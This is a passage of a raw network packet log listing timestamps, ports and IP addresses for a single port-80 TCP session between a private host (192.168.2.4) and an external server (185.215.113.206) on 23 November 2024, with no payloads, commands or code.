Nov 23, 2024 17:44:16.101211071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.101260900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.101362944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.101411104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.102236032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.102286100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.102396011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.102442980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.103255033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.103292942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.103405952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.103454113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.104283094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.104347944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.107239962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.107254982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.107295036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.107320070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.107791901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.107839108 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.107935905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.107979059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.108743906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.108794928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.108874083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.108925104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.109900951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.109957933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.110021114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.110073090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.110758066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.110810041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.110882044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.110930920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.111740112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.111793041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.111864090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.111915112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.112957954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.112993956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.113014936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.113027096 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.200325012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.200414896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.200416088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.200489998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.200578928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.200629950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.200634003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.200683117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.201457977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.201508999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.201581001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.201632977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.202359915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.202409983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.271823883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.271857023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.271883965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.271917105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.271986008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.272031069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.272053003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.272097111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.272926092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.272970915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.273017883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.273067951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.273869038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.273916960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.273988962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.274034977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.274816036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.274861097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.274909973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.274952888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.275737047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.275784016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.276031017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.276077032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.276732922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.276777983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.276827097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.276875973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.277618885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.277662039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.277710915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.277756929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.278551102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.278599024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.278723001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.278769016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.279685974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.279725075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.279733896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.279767990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.280468941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.280509949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.280531883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.280597925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.281358957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.281411886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.281457901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.281497002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.282264948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.282383919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.282530069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.283219099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.283272028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.283293962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.283341885 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.284156084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.284197092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.284208059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.284241915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.285053968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.285105944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.285156012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.285204887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.285994053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.286040068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.286086082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.286132097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.286920071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.286968946 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.287028074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.287071943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.287889004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.287938118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.287986040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.288027048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.288770914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.288820982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.288872957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.288924932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.289704084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.289752960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.289902925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.289953947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.290749073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.290800095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.290923119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.290976048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.291580915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.291632891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.291666031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.291707993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.292501926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.292552948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.292579889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.292625904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.293450117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.293497086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.293566942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.293607950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.294374943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.294420004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.294487000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.294540882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.295335054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.295442104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.295444012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.295495987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.296211958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.296267033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.296294928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.296338081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.297169924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.297219038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.297264099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.297303915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.298099995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.298146009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.298207998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.298249006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.299015045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.299057007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.299124956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.299169064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.299953938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.299998999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.300049067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.300091982 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.300885916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.300930977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.300971985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.301013947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.302109957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.302153111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.302195072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.302237034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.302755117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.302797079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.302849054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.302886963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.303672075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.303715944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.303816080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.303858042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.304653883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.304692984 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.304758072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.304789066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.305526972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.305569887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.305690050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.305723906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.306461096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.306507111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.306581974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.306632996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.307420015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.307465076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.307499886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.307538033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.308399916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.308443069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.308512926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.308557034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.309268951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.309314013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.309381008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.309422970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.310220003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.310261965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.310344934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.310388088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.311151028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.311204910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.335563898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.335618973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.335621119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.335656881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.336028099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.336092949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.336215019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.336261034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.336669922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.336714983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.336764097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.336810112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.337651014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.337686062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.337697983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.337728977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.338586092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.338649035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.338692904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.338737965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.339571953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.339607954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.339617014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.339652061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.340456009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.340490103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.340500116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.340532064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.341378927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.341422081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.441664934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.441711903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.441720963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.441744089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.441843987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.441889048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.441931009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.441973925 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.442759991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.442814112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.442842007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.442886114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.443655968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.443696976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.443737984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.443783045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.508181095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.508246899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.508255959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.508291960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.508589029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.508636951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.508645058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.508687973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.509273052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.509325981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.509387016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.509434938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.510225058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.510273933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.510327101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.510375023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.511229038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.511279106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.511339903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.511389971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.512110949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.512159109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.512192011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.512233019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.513050079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.513108969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.513212919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.513259888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.513952971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.514000893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.514049053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.514095068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.514920950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.514974117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.514975071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.515023947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.515911102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.515949965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.516144991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.516191006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.516792059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.516836882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.516936064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.516978025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.517662048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.517704964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.517786980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.517832041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.518613100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.518661022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.518738985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.518786907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.519567966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.519619942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.519682884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.519730091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.520613909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.520659924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.520678997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.520728111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.521404028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.521452904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.521603107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.521645069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.522320986 CET	80	49730	185.215.113.206	192.168.2.4
